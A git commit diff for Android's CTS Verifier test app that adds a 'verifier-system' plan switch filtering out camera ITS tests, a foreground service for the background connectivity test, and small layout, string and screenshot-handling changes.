Snap for 11397440 from 6f739e937fdaaaf838424d91b32ba67c1496855f to mainline-healthfitness-release

Change-Id: I653468d2526512e5514b08c45b5946d522589a6a
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 7fa840c..f280e7d 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.cts.verifier"
           android:versionCode="5"
-          android:versionName="14_r3">
+          android:versionName="14_r4">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="34"/>
 
@@ -43,6 +43,7 @@
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE_SPECIAL_USE"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE_CAMERA"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC"/>
     <uses-permission android:name="android.permission.FULLSCREEN" />
     <uses-permission android:name="android.permission.HIGH_SAMPLING_RATE_SENSORS" />
     <uses-permission android:name="android.permission.INTERNET" />
@@ -2133,6 +2134,12 @@
             </intent-filter>
         </activity-alias>
 
+        <service
+            android:name=".net.ConnectivityForegroundService"
+            android:foregroundServiceType="dataSync"
+            android:exported="false">
+        </service>
+
         <activity android:name=".net.ConnectivityBackgroundTestActivity"
                 android:exported="true"
                 android:label="@string/network_background_test">
@@ -3322,6 +3329,8 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
             <meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.watch" />
             <meta-data android:name="display_mode"
                 android:value="multi_display_mode" />
             <meta-data android:name="CddTest" android:value="3.8.3/H-0-4" />
diff --git a/apps/CtsVerifier/res/layout-watch/audio_headset_audio_activity.xml b/apps/CtsVerifier/res/layout-watch/audio_headset_audio_activity.xml
index 31e8db4..39c9819 100644
--- a/apps/CtsVerifier/res/layout-watch/audio_headset_audio_activity.xml
+++ b/apps/CtsVerifier/res/layout-watch/audio_headset_audio_activity.xml
@@ -18,6 +18,7 @@
         xmlns:android="http://schemas.android.com/apk/res/android"
         android:layout_width="match_parent"
         android:layout_height="match_parent"
+        android:id="@+id/scrollView"
         android:padding="29dp">
 
     <LinearLayout
@@ -44,7 +45,6 @@
                         android:layout_width="match_parent"
                         android:layout_height="wrap_content"
                         android:orientation="horizontal" >
-
                     <Button
                             android:id="@+id/headset_analog_port_yes"
                             android:layout_width="wrap_content"
@@ -68,6 +68,10 @@
             <TextView
                     android:layout_width="match_parent"
                     android:layout_height="wrap_content"
+                    android:id="@+id/headset_analog_device_type"/>
+            <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
                     android:id="@+id/headset_analog_name"/>
 
             <!-- Player Controls -->
@@ -132,7 +136,8 @@
             <TextView
                     android:layout_width="match_parent"
                     android:layout_height="wrap_content"
-                    android:text="@string/analog_headset_keycodes_label"/>
+                    android:text="@string/analog_headset_keycodes_label"
+                    android:id="@+id/headset_keycodes"/>
             <LinearLayout
                     android:layout_width="match_parent"
                     android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/system_switch.xml b/apps/CtsVerifier/res/layout/system_switch.xml
new file mode 100644
index 0000000..d810f18
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/system_switch.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2023 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<!-- Switch button to enable verifier-system plan. -->
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="fill_parent"
+    android:layout_height="match_parent"
+    android:orientation="horizontal" >
+  <Switch
+      android:id="@+id/switch_button"
+      android:text="@string/system"
+      android:textOn="@string/system_on"
+      android:textOff="@string/system_off"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_centerHorizontal="true"
+      android:layout_centerVertical="true" />
+</RelativeLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/menu/test_list_menu.xml b/apps/CtsVerifier/res/menu/test_list_menu.xml
index 95bfd58..70982b0 100644
--- a/apps/CtsVerifier/res/menu/test_list_menu.xml
+++ b/apps/CtsVerifier/res/menu/test_list_menu.xml
@@ -4,7 +4,12 @@
         android:id="@+id/switch_item"
         android:title="@string/view"
         android:actionLayout="@layout/display_mode_switch"
-        android:showAsAction="ifRoom" />
+        android:showAsAction="always" />
+    <item
+        android:id="@+id/system_switch_item"
+        android:title="@string/system"
+        android:actionLayout="@layout/system_switch"
+        android:showAsAction="always" />
     <item android:id="@+id/clear"
           android:icon="@android:drawable/ic_menu_delete"
           android:title="@string/clear"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 09fdcc3..bbb0395 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -17,7 +17,8 @@
     <string name="app_name">CTS Verifier</string>
     <string name="module_id">noabi CtsVerifier</string>
 
-    <string name="title_version">CTS Verifier %1$s</string>
+    <string name="title_version">Verifier %1$s</string>
+    <string name="version_number_format">Version #: %d</string>
 
     <string name="pass_button_text">Pass</string>
     <string name="info_button_text">Info</string>
@@ -36,6 +37,9 @@
     <string name="search_label">TestListActivity</string>
     <string name="search_hint">Search Tests</string>
     <string name="search_title">Search</string>
+    <string name="system">System</string>
+    <string name="system_on">ON</string>
+    <string name="system_off">OFF</string>
 
     <!-- Strings for CtsReportLog warning -->
     <string name="reportlog_warning_title">CTS-Verifier Report Log</string>
@@ -4368,7 +4372,8 @@
         \n
         Tap the \"DECLINE\" button and verify that:\n
         \n
-        - \"Taking bugreport...\" notification with an indefinite progress bar is no longer present.\n
+        <!-- Disabled in U due to b/317738856 -->
+        <!-- \"Taking bugreport...\" notification with an indefinite progress bar is no longer present.\n -->
         - Notification titled \"Device Owner Requesting Bugreport Tests\" with message \"Bugreport sharing declined\" is present.\n
         \n
         Dismiss the notifications and mark test as passed or failed.
@@ -4383,7 +4388,8 @@
         \n
         Tap the \"SHARE\" button and verify that:\n
         \n
-        - \"Taking bugreport...\" notification with an indefinite progress bar is no longer present.\n
+        <!-- Disabled in U due to b/317738856 -->
+        <!-- \"Taking bugreport...\" notification with an indefinite progress bar is no longer present.\n -->
         - Notification titled \"Sharing bugreport...\" with an indefinite progress bar is present.\n
         - After a few minutes (time necessary to wait for bugreport being collected) notification titled \"Sharing bugreport...\" is automatically dismissed and notification titled \"Device Owner Requesting Bugreport Tests\" with message \"Bugreport shared successfully\" is present.\n
         \n
@@ -4398,7 +4404,8 @@
         \n
         Wait for a few minutes (time necessary for bugreport to be collected) and verify that:\n
         \n
-        - \"Taking bugreport...\" notification with an indefinite progress bar is dismissed.\n
+        <!-- Disabled in U due to b/317738856 -->
+        <!-- \"Taking bugreport...\" notification with an indefinite progress bar is no longer present.\n -->
         - Notification titled \"Share bug report?\", that contains a message \"Your IT admin requested a bug report to help troubleshoot this device. Apps and data may be shared.\" and two buttons - \"DECLINE\" and \"SHARE\" is shown.\n
         \n
         Tap the \"DECLINE\" button and verify that:\n
@@ -4417,7 +4424,8 @@
         \n
         Wait for a few minutes (time necessary for bugreport to be collected) and verify that:\n
         \n
-        - \"Taking bugreport...\" notification with an indefinite progress bar is dismissed.\n
+        <!-- Disabled in U due to b/317738856 -->
+        <!-- \"Taking bugreport...\" notification with an indefinite progress bar is no longer present.\n -->
         - Notification titled \"Share bug report?\", that contains a message \"Your IT admin requested a bug report to help troubleshoot this device. Apps and data may be shared.\" and two buttons - \"DECLINE\" and \"SHARE\" is shown.\n
         \n
         Tap the \"SHARE\" button and verify that:\n
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index a6d536a..e0c94ae 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -186,6 +186,13 @@
      */
     private static final String USER_TYPE_VISIBLE_BG_USER = "visible_background_non-profile_user";
 
+    /** The name of the camera ITS test of a {@link TestListItem}. */
+    private static final String CAMERA_ITS_TEST =
+            "com.android.cts.verifier.camera.its.ItsTestActivity";
+
+    /** The name of the camera ITS test (folded mode) of a {@link TestListItem}. */
+    private static final String CAMERA_ITS_TEST_FOLDED = CAMERA_ITS_TEST + "[folded]";
+
     private final HashSet<String> mDisabledTests;
 
     private Context mContext;
@@ -223,8 +230,9 @@
             }
         }
 
-        if (mTestFilter != null) {
-            // Filter test rows dynamically when the filter is specified.
+        if (mTestFilter != null || TestListActivity.getIsSystemEnabled()) {
+            // Filter test rows dynamically when the filter is specified or verifier-system plan is
+            // enabled.
             return getRowsWithDisplayMode(sCurrentDisplayMode.toString());
         } else {
             return mDisplayModesTests.getOrDefault(
@@ -607,6 +615,20 @@
                         .contains(mTestFilter.toLowerCase(Locale.getDefault()));
     }
 
+    /**
+     * Checks whether the test matches the current status of verifier-system plan.
+     *
+     * <p>When verifier-system plan is disabled, all CTS-V tests are shown.
+     *
+     * <p>When verifier-system plan is enabled, specific tests are filtered out, e.g., camera ITS.
+     */
+    private static boolean matchSystemPlanStatus(String testName) {
+        if (testName == null || !TestListActivity.getIsSystemEnabled()) {
+            return true;
+        }
+        return !testName.equals(CAMERA_ITS_TEST) && !testName.equals(CAMERA_ITS_TEST_FOLDED);
+    }
+
     private boolean isVisibleBackgroundNonProfileUser() {
         if (!SdkLevel.isAtLeastU()) {
             Log.d(LOG_TAG, "isVisibleBagroundNonProfileUser() returning false on pre-UDC device");
@@ -660,7 +682,8 @@
                     && matchAllConfigs(mContext, test.requiredConfigs)
                     && matchDisplayMode(test.displayMode, mode)
                     && !matchAnyExcludedUserType(test.excludedUserTypes)
-                    && macthTestFilter(test.title)) {
+                    && macthTestFilter(test.title)
+                    && matchSystemPlanStatus(test.testName)) {
                 if (test.applicableFeatures == null || hasAnyFeature(test.applicableFeatures)) {
                     // Add suffix in test name if the test is in the folded mode.
                     test.testName = setTestNameSuffix(mode, test.testName);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
index f95393a..baa1951 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
@@ -50,9 +50,7 @@
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
-/**
- * Background task to generate a report and save it to external storage.
- */
+/** Background task to generate a report and save it to external storage. */
 public class ReportExporter extends AsyncTask<Void, Void, String> {
     private static final String TAG = ReportExporter.class.getSimpleName();
     private static final boolean DEBUG = true;
@@ -65,7 +63,10 @@
     private static final String LOG_URL = null;
     private static final String REFERENCE_URL = null;
     private static final String SUITE_NAME_METADATA_KEY = "SuiteName";
-    private static final String SUITE_PLAN = "verifier";
+    // Default CTS-V suite_plan shown in test_result.xml.
+    private static final String DEFAULT_SUITE_PLAN = "verifier";
+    // CTS Verifier System suite_plan shown in test_result.xml.
+    private static final String SYSTEM_SUITE_PLAN = "verifier-system";
     private static final String SUITE_BUILD = "0";
     private static final String ZIP_EXTENSION = ".zip";
     private final long START_MS = System.currentTimeMillis();
@@ -88,9 +89,10 @@
         }
 
         File reportLogFolder =
-                new File(Environment.getExternalStorageDirectory().getAbsolutePath()
-                        + File.separator
-                        + LOGS_DIRECTORY);
+                new File(
+                        Environment.getExternalStorageDirectory().getAbsolutePath()
+                                + File.separator
+                                + LOGS_DIRECTORY);
 
         copyFilesRecursively(reportLogFolder, tempDir);
     }
@@ -104,10 +106,7 @@
 
         for (File file : files) {
             Path src = Paths.get(file.getAbsolutePath());
-            Path dest = Paths.get(
-                    destFolder.getAbsolutePath()
-                            + File.separator
-                            + file.getName());
+            Path dest = Paths.get(destFolder.getAbsolutePath() + File.separator + file.getName());
             try {
                 Files.copy(src, dest, StandardCopyOption.REPLACE_EXISTING);
             } catch (IOException ex) {
@@ -119,7 +118,6 @@
         }
     }
 
-
     @Override
     protected String doInBackground(Void... params) {
         if (!Environment.MEDIA_MOUNTED.equals(Environment.getExternalStorageState())) {
@@ -148,15 +146,24 @@
         copyReportFiles(tempDir);
 
         // create a File object for a report ZIP file
-        File reportZipFile = new File(
-                verifierReportsDir, getReportName(suiteName) + ZIP_EXTENSION);
+        File reportZipFile = new File(verifierReportsDir, getReportName(suiteName) + ZIP_EXTENSION);
 
         try {
             // Serialize the report
             String versionName = Version.getVersionName(mContext);
-            ResultHandler.writeResults(suiteName, versionName, SUITE_PLAN, SUITE_BUILD,
-                    result, tempDir, START_MS, END_MS, REFERENCE_URL, LOG_URL,
-                    COMMAND_LINE_ARGS, null);
+            ResultHandler.writeResults(
+                    suiteName,
+                    versionName,
+                    TestListActivity.getIsSystemEnabled() ? SYSTEM_SUITE_PLAN : DEFAULT_SUITE_PLAN,
+                    SUITE_BUILD,
+                    result,
+                    tempDir,
+                    START_MS,
+                    END_MS,
+                    REFERENCE_URL,
+                    LOG_URL,
+                    COMMAND_LINE_ARGS,
+                    null);
 
             // Serialize the screenshots metadata if at least one exists
             if (containsScreenshotMetadata(result)) {
@@ -200,8 +207,8 @@
             Log.d(TAG, "---- saveReportOnInternalStorage(" + reportZipFile.getAbsolutePath() + ")");
         }
         try {
-            ParcelFileDescriptor pfd = ParcelFileDescriptor.open(
-                    reportZipFile, ParcelFileDescriptor.MODE_READ_ONLY);
+            ParcelFileDescriptor pfd =
+                    ParcelFileDescriptor.open(reportZipFile, ParcelFileDescriptor.MODE_READ_ONLY);
             InputStream is = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
 
             File verifierDir = mContext.getDir(REPORT_DIRECTORY, Context.MODE_PRIVATE);
@@ -223,8 +230,7 @@
         for (String resultFileName : ResultHandler.RESULT_RESOURCES) {
             InputStream rawStream = null;
             try {
-                rawStream = mContext.getAssets().open(
-                        String.format("report/%s", resultFileName));
+                rawStream = mContext.getAssets().open(String.format("report/%s", resultFileName));
             } catch (IOException e) {
                 LOG.log(Level.WARNING, "Failed to load " + resultFileName + " from assets.");
             }
@@ -242,7 +248,8 @@
     private String getReportName(String suiteName) {
         SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy.MM.dd_HH.mm.ss", Locale.ENGLISH);
         String date = dateFormat.format(new Date());
-        return String.format("%s-%s-%s-%s-%s-%s",
+        return String.format(
+                "%s-%s-%s-%s-%s-%s",
                 date, suiteName, Build.MANUFACTURER, Build.PRODUCT, Build.DEVICE, Build.ID);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
index 790bf73..273b0fc 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
@@ -55,6 +55,11 @@
     // Default is unfolded mode, and it will be changed when clicking the switch button.
     public static volatile String sCurrentDisplayMode = DisplayMode.UNFOLDED.toString();
 
+    // Whether the verifier-system plan is enabled.
+    private static boolean sIsSystemEnabled = false;
+    // Whether the system switch has been toggled.
+    private static boolean sHasSystemToggled = false;
+
     private String[] mRequestedPermissions;
 
     // Enumerates the display modes, including unfolded and folded.
@@ -124,31 +129,6 @@
         }
     }
 
-    private void createContinue() {
-        if (!isTaskRoot()) {
-            finish();
-        }
-
-        // Restores the last display mode when launching the app after killing the process.
-        if (getCurrentDisplayMode().equals(DisplayMode.FOLDED.toString())) {
-            sCurrentDisplayMode = DisplayMode.FOLDED.toString();
-        }
-
-        setTitle(getString(R.string.title_version, Version.getVersionName(this)));
-
-        if (!getWindow().hasFeature(Window.FEATURE_ACTION_BAR)) {
-            View footer = getLayoutInflater().inflate(R.layout.test_list_footer, null);
-
-            footer.findViewById(R.id.clear).setOnClickListener(this);
-            footer.findViewById(R.id.export).setOnClickListener(this);
-
-            getListView().addFooterView(footer);
-        }
-
-        setTestListAdapter(
-                new ManifestTestListAdapter(/* context= */ this, /* testParent= */ null));
-    }
-
     @Override
     public void onRequestPermissionsResult(
             int requestCode, String permissions[], int[] grantResults) {
@@ -175,25 +155,6 @@
         }
     }
 
-    private AlertDialog sendUserToSettings() {
-        return new AlertDialog.Builder(this)
-                .setTitle("Please grant all permissions")
-                .setPositiveButton(
-                        "Ok",
-                        (dialog, which) -> {
-                            if (which == AlertDialog.BUTTON_POSITIVE) {
-                                startActivity(
-                                        new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS)
-                                                .setData(
-                                                        Uri.fromParts(
-                                                                "package",
-                                                                getPackageName(),
-                                                                null)));
-                            }
-                        })
-                .show();
-    }
-
     @Override
     public boolean onCreateOptionsMenu(Menu menu) {
         MenuInflater inflater = getMenuInflater();
@@ -221,6 +182,28 @@
                     }
                 });
 
+        // Switch button for verifier-system plan.
+        item = (MenuItem) menu.findItem(R.id.system_switch_item);
+        if (item != null) {
+            item.setActionView(R.layout.system_switch);
+            final Switch systemSwitch = item.getActionView().findViewById(R.id.switch_button);
+
+            systemSwitch.setChecked(sIsSystemEnabled);
+            systemSwitch.setOnCheckedChangeListener(
+                    new CompoundButton.OnCheckedChangeListener() {
+
+                        @Override
+                        public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
+                            if (!sHasSystemToggled && isChecked) {
+                                sHasSystemToggled = true;
+                                notifyUserSystemPlan(systemSwitch);
+                            } else {
+                                updateIsSystemEnabled(isChecked);
+                            }
+                        }
+                    });
+        }
+
         SearchView searchView = (SearchView) menu.findItem(R.id.search_test).getActionView();
         searchView.setOnQueryTextListener(
                 new SearchView.OnQueryTextListener() {
@@ -250,6 +233,129 @@
         return handleMenuItemSelected(item.getItemId()) ? true : super.onOptionsItemSelected(item);
     }
 
+    /** Gets the verifier-system plan enabled status. */
+    static boolean getIsSystemEnabled() {
+        return sIsSystemEnabled;
+    }
+
+    /** Checks if a list of int array contains a given int value. */
+    private static boolean arrayContains(int[] array, int value) {
+        if (array == null) {
+            return false;
+        }
+        for (int element : array) {
+            if (element == value) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /** Removes the first occurrence of a string from a given string array. */
+    private static String[] removeString(String[] cur, String val) {
+        if (cur == null) {
+            return null;
+        }
+        final int n = cur.length;
+        for (int i = 0; i < n; i++) {
+            if (Objects.equals(cur[i], val)) {
+                String[] ret = new String[n - 1];
+                if (i > 0) {
+                    System.arraycopy(cur, 0, ret, 0, i);
+                }
+                if (i < (n - 1)) {
+                    System.arraycopy(cur, i + 1, ret, i, n - i - 1);
+                }
+                return ret;
+            }
+        }
+        return cur;
+    }
+
+    private void createContinue() {
+        if (!isTaskRoot()) {
+            finish();
+        }
+
+        // Restores the last display mode when launching the app after killing the process.
+        if (getCurrentDisplayMode().equals(DisplayMode.FOLDED.toString())) {
+            sCurrentDisplayMode = DisplayMode.FOLDED.toString();
+        }
+
+        setTitle(getString(R.string.title_version, Version.getVersionName(this)));
+
+        if (!getWindow().hasFeature(Window.FEATURE_ACTION_BAR)) {
+            View footer = getLayoutInflater().inflate(R.layout.test_list_footer, null);
+
+            footer.findViewById(R.id.clear).setOnClickListener(this);
+            footer.findViewById(R.id.export).setOnClickListener(this);
+
+            getListView().addFooterView(footer);
+        }
+
+        setTestListAdapter(
+                new ManifestTestListAdapter(/* context= */ this, /* testParent= */ null));
+    }
+
+    private AlertDialog sendUserToSettings() {
+        return new AlertDialog.Builder(this)
+                .setTitle("Please grant all permissions")
+                .setPositiveButton(
+                        "Ok",
+                        (dialog, which) -> {
+                            if (which == AlertDialog.BUTTON_POSITIVE) {
+                                startActivity(
+                                        new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS)
+                                                .setData(
+                                                        Uri.fromParts(
+                                                                "package",
+                                                                getPackageName(),
+                                                                null)));
+                            }
+                        })
+                .show();
+    }
+
+    /** Notifies the user about the verifier-system plan. */
+    private AlertDialog notifyUserSystemPlan(Switch systemSwitch) {
+        return new AlertDialog.Builder(this)
+                .setTitle("Verifier System Plan")
+                .setMessage(
+                        "This is a feature to execute verifier tests for the system layer"
+                            + " partitions. Click \"Yes\" to proceed or \"No\" to run all of the"
+                            + " verifier tests.")
+                .setPositiveButton(
+                        "Yes",
+                        new DialogInterface.OnClickListener() {
+
+                            public void onClick(DialogInterface dialog, int whichButton) {
+                                updateIsSystemEnabled(true);
+                            }
+                        })
+                .setNegativeButton(
+                        "No",
+                        new DialogInterface.OnClickListener() {
+
+                            public void onClick(DialogInterface dialog, int whichButton) {
+                                systemSwitch.setChecked(false);
+                            }
+                        })
+                .show();
+    }
+
+    /** Updates the verifier-system plan enabled status and refreshes the test list. */
+    private void updateIsSystemEnabled(boolean isChecked) {
+        Log.i(TAG, "verifier-system plan enabled: " + isChecked);
+        sIsSystemEnabled = isChecked;
+        handleSwitchItemSelected();
+    }
+
+    /** Sets up the flags after switching display mode and reloads tests on UI. */
+    private void handleSwitchItemSelected() {
+        setCurrentDisplayMode(sCurrentDisplayMode);
+        mAdapter.loadTestResults();
+    }
+
     private void handleClearItemSelected() {
         new AlertDialog.Builder(this)
                 .setMessage(R.string.test_results_clear_title)
@@ -273,12 +379,6 @@
         new ReportExporter(this, mAdapter).execute();
     }
 
-    /** Sets up the flags after switching display mode and reloads tests on UI. */
-    private void handleSwitchItemSelected() {
-        setCurrentDisplayMode(sCurrentDisplayMode);
-        mAdapter.loadTestResults();
-    }
-
     private boolean handleMenuItemSelected(int id) {
         if (id == R.id.clear) {
             handleClearItemSelected();
@@ -323,34 +423,4 @@
                         .getString(DisplayMode.class.getName(), "");
         return mode;
     }
-
-    private static boolean arrayContains(int[] array, int value) {
-        if (array == null) return false;
-        for (int element : array) {
-            if (element == value) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    private static String[] removeString(String[] cur, String val) {
-        if (cur == null) {
-            return null;
-        }
-        final int n = cur.length;
-        for (int i = 0; i < n; i++) {
-            if (Objects.equals(cur[i], val)) {
-                String[] ret = new String[n - 1];
-                if (i > 0) {
-                    System.arraycopy(cur, 0, ret, 0, i);
-                }
-                if (i < (n - 1)) {
-                    System.arraycopy(cur, i + 1, ret, i, n - i - 1);
-                }
-                return ret;
-            }
-        }
-        return cur;
-    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityBackgroundTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityBackgroundTestActivity.java
index 57da095..0b7b5a6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityBackgroundTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityBackgroundTestActivity.java
@@ -16,8 +16,8 @@
 
 package com.android.cts.verifier.net;
 
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
 
 import android.content.BroadcastReceiver;
 import android.content.Context;
@@ -42,20 +42,20 @@
 import android.widget.ScrollView;
 import android.widget.TextView;
 
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
 import java.io.BufferedReader;
-import java.io.InputStreamReader;
 import java.io.IOException;
+import java.io.InputStreamReader;
 import java.lang.reflect.Field;
+import java.net.HttpURLConnection;
 import java.net.Inet6Address;
 import java.net.InetAddress;
-import java.net.HttpURLConnection;
-import java.net.UnknownHostException;
 import java.net.URL;
-import java.util.concurrent.atomic.AtomicBoolean;
+import java.net.UnknownHostException;
 import java.util.Random;
-
-import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
-import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 /**
  * A CTS Verifier test case for testing IPv6 network background connectivity.
@@ -119,6 +119,8 @@
         super.onCreate(savedInstanceState);
         configureFromSystemServices();
         setupUserInterface();
+        // start foreground service to avoid being frozen (b/284060686)
+        startForegroundService(new Intent(this, ConnectivityForegroundService.class));
     }
 
     @Override
@@ -127,6 +129,7 @@
         stopAnyExistingTestingThread();
         unregisterReceiver(mReceiver);
         mWakeLock.release();
+        stopService(new Intent(this, ConnectivityForegroundService.class));
         super.onDestroy();
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityForegroundService.java b/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityForegroundService.java
new file mode 100644
index 0000000..7cd1da8
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityForegroundService.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.net;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import androidx.annotation.Nullable;
+
+/**
+ * Foreground service to avoid CtsVerifier is being frozen while ConnectivityBackgroundTestActivity
+ * is running background connectivity check
+ */
+public class ConnectivityForegroundService extends Service {
+    public static final String TAG = "ConnectivityForegroundService";
+    private static final String NOTIFICATION_CHANNEL_ID = "ctsVerifier/" + TAG;
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        NotificationManager notificationManager = getSystemService(NotificationManager.class);
+        notificationManager.createNotificationChannel(
+                new NotificationChannel(
+                        NOTIFICATION_CHANNEL_ID,
+                        NOTIFICATION_CHANNEL_ID,
+                        NotificationManager.IMPORTANCE_DEFAULT));
+        Notification notification =
+                new Notification.Builder(getApplicationContext(), NOTIFICATION_CHANNEL_ID).build();
+        startForeground(1 /* id */, notification);
+
+        return START_NOT_STICKY;
+    }
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+}
diff --git a/common/device-side/interactive/src/main/java/com/android/interactive/Step.java b/common/device-side/interactive/src/main/java/com/android/interactive/Step.java
index bc8bf6e..223b7c9 100644
--- a/common/device-side/interactive/src/main/java/com/android/interactive/Step.java
+++ b/common/device-side/interactive/src/main/java/com/android/interactive/Step.java
@@ -81,12 +81,16 @@
     private static final Automator sAutomator = new Automator(AUTOMATION_FILE);
 
     private View mInstructionView;
+    private Button mCollapseButton;
 
     private static final WindowManager sWindowManager =
             TestApis.context().instrumentedContext().getSystemService(WindowManager.class);
 
     private Optional<E> mValue = Optional.empty();
     private boolean mFailed = false;
+    // Whether there's a screenshot taken for this step.
+    // In case multiple close() calls creating multiple screenshot files.
+    private boolean mHasTakenScreenshot = false;
 
     private static Map<Class<? extends Step<?>>, Object> sStepCache = new HashMap<>();
 
@@ -146,7 +150,7 @@
                                         .terminalValue((b) -> step.hasFailed())
                                         .errorOnFail(
                                                 "Expected value from step. No value provided or"
-                                                    + " step failed.")
+                                                        + " step failed.")
                                         .timeout(MAX_STEP_DURATION)
                                         .await()
                                         .get();
@@ -226,7 +230,7 @@
         } catch (ClassCastException e) {
             throw new IllegalStateException(
                     "You cannot call pass() for a step which requires a return value. If no return"
-                        + " value is required, the step should use Nothing (not Void)");
+                            + " value is required, the step should use Nothing (not Void)");
         }
     }
 
@@ -281,6 +285,28 @@
     }
 
     /**
+     * Adds a small button that allows users to collapse the instructions.
+     */
+    protected void addCollapseInstructionsButton() {
+        mCollapseButton = new Button(TestApis.context().instrumentedContext());
+        mCollapseButton.setText("\u21F1");
+        mCollapseButton.setOnClickListener(v -> collapse());
+        GridLayout layout = mInstructionView.findViewById(R.id.buttons);
+        layout.addView(mCollapseButton);
+    }
+
+    private void collapse() {
+        TextView instructionsTextView = mInstructionView.findViewById(R.id.text);
+        if (instructionsTextView.getVisibility() != View.GONE) {
+            instructionsTextView.setVisibility(View.GONE);
+            mCollapseButton.setText("\u21F2");
+        } else {
+            instructionsTextView.setVisibility(View.VISIBLE);
+            mCollapseButton.setText("\u21F1");
+        }
+    }
+
+    /**
      * Adds a button to immediately mark the test as failed and request the tester to provide the
      * reason for failure.
      */
@@ -344,8 +370,14 @@
         sWindowManager.updateViewLayout(mInstructionView, params);
     }
 
+    /**
+     * Closes the step, takes a screenshot of the device if the feature is enabled, and removes the
+     * instruction view if it's still there.
+     */
     protected void close() {
-        if (TestApis.instrumentation().arguments().getBoolean("TAKE_SCREENSHOT", false)) {
+        if (!mHasTakenScreenshot
+                && TestApis.instrumentation().arguments().getBoolean("TAKE_SCREENSHOT", false)) {
+            mHasTakenScreenshot = true;
             ScreenshotUtil.captureScreenshot(getClass().getCanonicalName());
         }
         if (mInstructionView != null) {
